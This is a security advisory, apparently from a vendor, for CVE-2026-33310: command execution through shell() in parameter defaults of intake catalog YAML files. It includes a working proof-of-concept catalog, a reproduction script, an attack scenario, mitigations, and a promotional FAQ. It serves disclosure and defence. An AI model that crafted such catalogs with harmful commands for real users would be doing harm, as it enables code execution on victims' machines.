CVE-2026-33310

The shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process.
If a catalog contains a parameter default such as shell(), the command may be executed when the catalog source is accessed.
This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system.
This behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.

Details

The issue appears to originate from how parameter default values are expanded when a catalog source is accessed.

During catalog loading and source access:

Intake resolves parameter default values
The function responsible for expanding defaults processes the shell() syntax
The shell expression triggers a subprocess execution
Because this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.

Affected logic appears to involve:

expand_defaults()

and related parameter parsing mechanisms.

PoC

exploit.yaml

metadata:
  version: 1
sources:
  rce_test:
    driver: csv
    description: "Testing shell expansion in parameters"
    args:
      urlpath: "{{ cmd_exec }}"
    parameters:
      cmd_exec:
        display_name: "Test Parameter"
        type: str
        default: "shell(touch /tmp/intake_rce_test)"

reproduce.py

import intake
import os

PROOF_FILE = "/tmp/intake_rce_test"

if os.path.exists(PROOF_FILE):
    os.remove(PROOF_FILE)

print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")

try:
    cat = intake.open_catalog("exploit.yaml")

    print("Accessing source...")
    _ = cat["rce_test"]

except Exception as e:
    print(f" Error during execution: {e}")

if os.path.exists(PROOF_FILE):
    print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
    print("Command execution did not occur.")

Attack Scenario

A potential attack scenario could be:

1. An attacker publishes a malicious Intake catalog YAML file
2. The victim downloads or loads the catalog
3. The victim accesses a source entry in the catalog
4. Parameter defaults are expanded
5. The shell() expression triggers execution of the embedded command

If this behavior is confirmed to be unintended, an attacker could distribute a malicious catalog file via:

• Git repositories
• shared datasets
• URLs
• data science workflows
• Any user loading the catalog could unknowingly execute commands with their local user privileges.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-33310 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Possible mitigations could include:

• disabling shell() expansion by default
• requiring an explicit opt-in flag (e.g., allow_shell=True)
• restricting shell execution for catalogs loaded from untrusted sources
  Please let me know if additional information or testing is needed.
  I'm happy to assist with further analysis or validation.

1. What is CVE-2026-33310? CVE-2026-33310 is a high-severity OS command injection vulnerability in intake (pip), affecting versions <= 2.0.9. No fixed version is listed yet. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-33310? CVE-2026-33310 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of intake are affected by CVE-2026-33310? intake (pip) versions <= 2.0.9 is affected.
4. Is there a fix for CVE-2026-33310? No fixed version is listed for CVE-2026-33310 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-33310 exploitable, and should I be worried? Whether CVE-2026-33310 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33310 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33310? No fixed version is listed yet. In the interim: Avoid passing untrusted input to shell commands. Use parameterized APIs or libraries that do not invoke a shell.